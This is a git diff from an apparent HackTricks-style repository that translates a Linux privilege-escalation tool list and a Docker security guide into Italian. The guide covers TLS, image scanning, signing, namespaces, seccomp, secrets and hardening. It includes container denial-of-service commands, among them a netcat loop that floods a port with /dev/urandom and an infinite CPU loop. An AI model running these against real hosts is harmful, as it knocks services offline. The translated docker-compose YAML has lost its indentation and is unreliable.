Uscire da Shells ristrette {{#ref}} escaping-from-limited-bash.md @@ -1610,31 +1378,31 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Kernel Security Protections +## Protezioni di Sicurezza del Kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Maggiori aiuti [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## Strumenti di Privesc Linux/Unix -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Miglior strumento per cercare vettori di escalation dei privilegi locali Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumera le vulnerabilità del kernel in linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (accesso fisico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Raccolta di più script**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Riferimenti - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index d48f733d4..85ed9ff89 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,57 +1,46 @@ -# Docker Security +# Sicurezza di Docker {{#include ../../../banners/hacktricks-training.md}} -
+## **Sicurezza di Base del Motore Docker** -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Il **motore Docker** utilizza i **Namespaces** e i **Cgroups** del kernel Linux per isolare i container, offrendo un livello base di sicurezza. Ulteriore protezione è fornita tramite il **Capabilities dropping**, **Seccomp** e **SELinux/AppArmor**, migliorando l'isolamento dei container. Un **auth plugin** può ulteriormente limitare le azioni degli utenti. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} +![Sicurezza di Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -## **Basic Docker Engine Security** +### Accesso Sicuro al Motore Docker -The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions. - -![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) - -### Secure Access to Docker Engine - -The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication. - -The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings: +Il motore Docker può essere accesso localmente tramite un socket Unix o remotamente utilizzando HTTP. Per l'accesso remoto, è essenziale utilizzare HTTPS e **TLS** per garantire riservatezza, integrità e autenticazione. +Il motore Docker, per impostazione predefinita, ascolta sul socket Unix a `unix:///var/run/docker.sock`. Nei sistemi Ubuntu, le opzioni di avvio di Docker sono definite in `/etc/default/docker`. Per abilitare l'accesso remoto all'API e al client Docker, esporre il demone Docker su un socket HTTP aggiungendo le seguenti impostazioni: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` +Tuttavia, esporre il daemon Docker su HTTP non è raccomandato a causa di preoccupazioni di sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione: -However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: +1. Il client verifica l'identità del server. +2. Sia il client che il server si autenticano reciprocamente. -1. The client verifies the server's identity. -2. Both the client and server mutually authenticate each other's identity. +I certificati vengono utilizzati per confermare l'identità di un server. Per esempi dettagliati di entrambi i metodi, fare riferimento a [**questa guida**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). -Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +### Sicurezza delle Immagini dei Container -### Security of Container Images +Le immagini dei container possono essere memorizzate in repository privati o pubblici. Docker offre diverse opzioni di archiviazione per le immagini dei container: -Container images can be stored in either private or public repositories. Docker offers several storage options for container images: +- [**Docker Hub**](https://hub.docker.com): Un servizio di registry pubblico di Docker. +- [**Docker Registry**](https://github.com/docker/distribution): Un progetto open-source che consente agli utenti di ospitare il proprio registry. +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): L'offerta commerciale di registry di Docker, con autenticazione utente basata su ruoli e integrazione con i servizi di directory LDAP. -- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker. -- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services. +### Scansione delle Immagini -### Image Scanning +I container possono avere **vulnerabilità di sicurezza** sia a causa dell'immagine di base che a causa del software installato sopra l'immagine di base. Docker sta lavorando a un progetto chiamato **Nautilus** che esegue la scansione di sicurezza dei container e elenca le vulnerabilità. Nautilus funziona confrontando ogni layer dell'immagine del container con il repository delle vulnerabilità per identificare le falle di sicurezza. -Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. - -For more [**information read this**](https://docs.docker.com/engine/scan/). +Per ulteriori [**informazioni leggi questo**](https://docs.docker.com/engine/scan/). - **`docker scan`** -The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: - +Il comando **`docker scan`** consente di eseguire la scansione delle immagini Docker esistenti utilizzando il nome o l'ID dell'immagine. Ad esempio, eseguire il seguente comando per scansionare l'immagine hello-world: ```bash docker scan hello-world @@ -67,103 +56,82 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` - - [**`trivy`**](https://github.com/aquasecurity/trivy) - ```bash trivy -q -f json : ``` - - [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli) - ```bash snyk container test --json-file-output= --severity-threshold=high ``` - - [**`clair-scanner`**](https://github.com/arminc/clair-scanner) - ```bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` +### Firma delle Immagini Docker -### Docker Image Signing +La firma delle immagini Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei container. Ecco una spiegazione condensata: -Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation: - -- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io). -- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later. -- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). -- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error. -- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image. - -To back up your private keys, use the command: +- **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, vedere [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io). +- Per attivare la fiducia nei contenuti Docker, impostare `export DOCKER_CONTENT_TRUST=1`. Questa funzione è disattivata per impostazione predefinita nelle versioni di Docker 1.10 e successive. +- Con questa funzione attivata, possono essere scaricate solo immagini firmate. La prima spinta dell'immagine richiede l'impostazione delle frasi segrete per le chiavi root e di tagging, con Docker che supporta anche Yubikey per una maggiore sicurezza. Maggiori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti attivata risulta in un errore "No trust data for latest". +- Per le spinte delle immagini dopo la prima, Docker richiede la frase segreta della chiave del repository per firmare l'immagine. +Per eseguire il backup delle tue chiavi private, usa il comando: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` +Quando si cambiano gli host Docker, è necessario spostare le chiavi root e repository per mantenere le operazioni. -When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations. - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## Containers Security Features +## Caratteristiche di Sicurezza dei Container
-Summary of Container Security Features +Riepilogo delle Caratteristiche di Sicurezza dei Container -**Main Process Isolation Features** +**Principali Caratteristiche di Isolamento dei Processi** -In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: +Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave: -**Namespaces** +**Namespace** -- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. -- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. -- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. +- **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespace mantengono i processi di un container separati dall'host e da altri container. +- **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) è utilizzato per creare nuovi namespace, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca intrinsecamente questo, Docker lo fa. +- **Limitazione**: Creare nuovi namespace non consente a un processo di tornare ai namespace predefiniti dell'host. Per penetrare nei namespace dell'host, in genere è necessario avere accesso alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso. -**Control Groups (CGroups)** +**Gruppi di Controllo (CGroups)** -- **Function**: Primarily used for allocating resources among processes. -- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. +- **Funzione**: Utilizzati principalmente per allocare risorse tra i processi. +- **Aspetto di Sicurezza**: I CGroups stessi non offrono sicurezza di isolamento, tranne per la funzione `release_agent`, che, se configurata in modo errato, potrebbe essere sfruttata per accesso non autorizzato. -**Capability Drop** +**Riduzione delle Capacità** -- **Importance**: It's a crucial security feature for process isolation. -- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - -These are the **remaining capabilities** after the process drop the others: +- **Importanza**: È una caratteristica di sicurezza cruciale per l'isolamento dei processi. +- **Funzionalità**: Limita le azioni che un processo root può eseguire riducendo certe capacità. Anche se un processo viene eseguito con privilegi di root, la mancanza delle capacità necessarie impedisce l'esecuzione di azioni privilegiate, poiché le syscall falliranno a causa di permessi insufficienti. +Queste sono le **capacità rimanenti** dopo che il processo ha ridotto le altre: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` - **Seccomp** -It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ -The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +È abilitato per impostazione predefinita in Docker. Aiuta a **limitare ulteriormente le syscalls** che il processo può chiamare.\ +Il **profilo Seccomp predefinito di Docker** può essere trovato in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** -Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Docker ha un modello che puoi attivare: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -This will allow to reduce capabilities, syscalls, access to files and folders... +Questo permetterà di ridurre le capacità, le syscalls, l'accesso a file e cartelle...
### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +I **Namespaces** sono una funzionalità del kernel Linux che **partiziona le risorse del kernel** in modo tale che un insieme di **processi** **veda** un insieme di **risorse** mentre un **altro** insieme di **processi** vede un **insieme** diverso di risorse. La funzionalità funziona avendo lo stesso namespace per un insieme di risorse e processi, ma quei namespace si riferiscono a risorse distinte. Le risorse possono esistere in più spazi. -Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: +Docker utilizza i seguenti Namespaces del kernel Linux per ottenere l'isolamento dei Container: - pid namespace - mount namespace @@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i - ipc namespace - UTS namespace -For **more information about the namespaces** check the following page: +Per **maggiori informazioni sui namespaces** controlla la seguente pagina: {{#ref}} namespaces/ @@ -179,32 +147,28 @@ namespaces/ ### cgroups -Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ -Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. - +La funzionalità del kernel Linux **cgroups** fornisce la capacità di **ristretto risorse come cpu, memoria, io, larghezza di banda di rete tra** un insieme di processi. Docker consente di creare Container utilizzando la funzionalità cgroup che consente il controllo delle risorse per il Container specifico.\ +Di seguito è riportato un Container creato con la memoria dello spazio utente limitata a 500m, la memoria del kernel limitata a 50m, la condivisione della cpu a 512, il blkioweight a 400. La condivisione della CPU è un rapporto che controlla l'uso della CPU del Container. Ha un valore predefinito di 1024 e un intervallo tra 0 e 1024. Se tre Container hanno la stessa condivisione della CPU di 1024, ciascun Container può utilizzare fino al 33% della CPU in caso di contesa delle risorse CPU. Il blkio-weight è un rapporto che controlla l'IO del Container. Ha un valore predefinito di 500 e un intervallo tra 10 e 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` - -To get the cgroup of a container you can do: - +Per ottenere il cgroup di un container puoi fare: ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` - -For more information check: +Per ulteriori informazioni controlla: {{#ref}} cgroups.md {{#endref}} -### Capabilities +### Capacità -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. +Le capacità consentono un **controllo più fine delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un Container** indipendentemente dal tipo di utente. -When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: +Quando un container docker viene eseguito, il **processo abbandona capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo cerca di garantire che il processo non sarà in grado di eseguire azioni sensibili e fuggire: {{#ref}} ../linux-capabilities.md @@ -212,7 +176,7 @@ When a docker container is run, the **process drops sensitive capabilities that ### Seccomp in Docker -This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: +Questa è una funzionalità di sicurezza che consente a Docker di **limitare le syscalls** che possono essere utilizzate all'interno del container: {{#ref}} seccomp.md @@ -220,7 +184,7 @@ seccomp.md ### AppArmor in Docker -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: +**AppArmor** è un miglioramento del kernel per confinare **i container** a un **insieme limitato di risorse** con **profili per programma**.: {{#ref}} apparmor.md @@ -228,13 +192,13 @@ apparmor.md ### SELinux in Docker -- **Labeling System**: SELinux assigns a unique label to every process and filesystem object. -- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system. -- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`. -- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`. -- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`. +- **Sistema di Etichettatura**: SELinux assegna un'etichetta unica a ogni processo e oggetto del filesystem. +- **Applicazione delle Politiche**: Applica politiche di sicurezza che definiscono quali azioni un'etichetta di processo può eseguire su altre etichette all'interno del sistema. +- **Etichette dei Processi del Container**: Quando i motori dei container avviano processi del container, di solito viene assegnata un'etichetta SELinux confinata, comunemente `container_t`. +- **Etichettatura dei File all'interno dei Container**: I file all'interno del container sono solitamente etichettati come `container_file_t`. +- **Regole di Politica**: La politica SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire solo (leggere, scrivere, eseguire) con file etichettati come `container_file_t`. -This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises. +Questo meccanismo garantisce che anche se un processo all'interno di un container viene compromesso, è confinato a interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente il potenziale danno derivante da tali compromissioni. {{#ref}} ../selinux.md @@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised, ### AuthZ & AuthN -In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts: +In Docker, un plugin di autorizzazione gioca un ruolo cruciale nella sicurezza decidendo se consentire o bloccare le richieste al demone Docker. Questa decisione viene presa esaminando due contesti chiave: -- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves. -- **Command Context**: This comprises all pertinent data related to the request being made. +- **Contesto di Autenticazione**: Questo include informazioni complete sull'utente, come chi sono e come si sono autenticati. +- **Contesto del Comando**: Questo comprende tutti i dati pertinenti relativi alla richiesta effettuata. -These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations. +Questi contesti aiutano a garantire che solo le richieste legittime da parte di utenti autenticati vengano elaborate, migliorando la sicurezza delle operazioni Docker. {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## DoS from a container +## DoS da un container -If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running. +Se non limiti correttamente le risorse che un container può utilizzare, un container compromesso potrebbe causare un DoS all'host su cui è in esecuzione. - CPU DoS - ```bash # stress-ng sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m @@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` - - Bandwidth DoS - ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` - -## Interesting Docker Flags +## Flag Docker Interessanti ### --privileged flag -In the following page you can learn **what does the `--privileged` flag imply**: +Nella pagina seguente puoi imparare **cosa implica il flag `--privileged`**: {{#ref}} docker-privileged.md @@ -287,16 +247,13 @@ docker-privileged.md #### no-new-privileges -If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. - -Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. +Se stai eseguendo un container in cui un attaccante riesce ad accedere come utente a bassa privilegio. Se hai un **binary suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Questo potrebbe permettergli di fuggire da esso. +Eseguire il container con l'opzione **`no-new-privileges`** abilitata **prevenirà questo tipo di escalation dei privilegi**. ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` - -#### Other - +#### Altro ```bash #You can manually add/drop capabilities with --cap-add @@ -311,90 +268,85 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` +Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +## Altre Considerazioni sulla Sicurezza -## Other Security Considerations +### Gestione dei Segreti: Migliori Pratiche -### Managing Secrets: Best Practices +È fondamentale evitare di incorporare segreti direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le tue informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`. -It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`. +**I volumi Docker** sono un'alternativa più sicura, raccomandata per accedere a informazioni sensibili. Possono essere utilizzati come un filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e quelli con accesso `exec` al container potrebbero comunque accedere ai segreti. -**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets. +**I segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di build, migliorando la velocità di build e fornendo funzionalità aggiuntive. -**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features. +Per sfruttare BuildKit, può essere attivato in tre modi: -To leverage BuildKit, it can be activated in three ways: - -1. Through an environment variable: `export DOCKER_BUILDKIT=1` -2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .` -3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart. - -BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like: +1. Tramite una variabile d'ambiente: `export DOCKER_BUILDKIT=1` +2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .` +3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker. +BuildKit consente l'uso di segreti a tempo di build con l'opzione `--secret`, assicurando che questi segreti non siano inclusi nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` - -For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example: - +Per i segreti necessari in un container in esecuzione, **Docker Compose e Kubernetes** offrono soluzioni robuste. Docker Compose utilizza una chiave `secrets` nella definizione del servizio per specificare i file segreti, come mostrato in un esempio di `docker-compose.yml`: ```yaml version: "3.7" services: - my_service: - image: centos:7 - entrypoint: "cat /run/secrets/my_secret" - secrets: - - my_secret +my_service: +image: centos:7 +entrypoint: "cat /run/secrets/my_secret" secrets: - my_secret: - file: ./my_secret_file.txt +- my_secret +secrets: +my_secret: +file: ./my_secret_file.txt ``` +Questa configurazione consente l'uso di segreti durante l'avvio dei servizi con Docker Compose. -This configuration allows for the use of secrets when starting services with Docker Compose. - -In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise. +Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono essere ulteriormente gestiti con strumenti come [Helm-Secrets](https://github.com/futuresimple/helm-secrets). I controlli di accesso basati sui ruoli (RBAC) di Kubernetes migliorano la sicurezza nella gestione dei segreti, simile a Docker Enterprise. ### gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. +**gVisor** è un kernel applicativo, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, rendendo semplice l'esecuzione di container sandboxed. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e performano come container, ma forniscono **un isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo strato di difesa. {% embed url="https://katacontainers.io/" %} -### Summary Tips +### Suggerimenti Riassuntivi -- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. -- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. -- **Regularly** **rebuild** your images to **apply security patches to the host an images.** -- Manage your **secrets wisely** so it's difficult to the attacker to access them. -- If you **exposes the docker daemon use HTTPS** with client & server authentication. -- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. -- Have **separate containers for each micro-s**ervice -- **Don’t put ssh** inside container, “docker exec” can be used to ssh 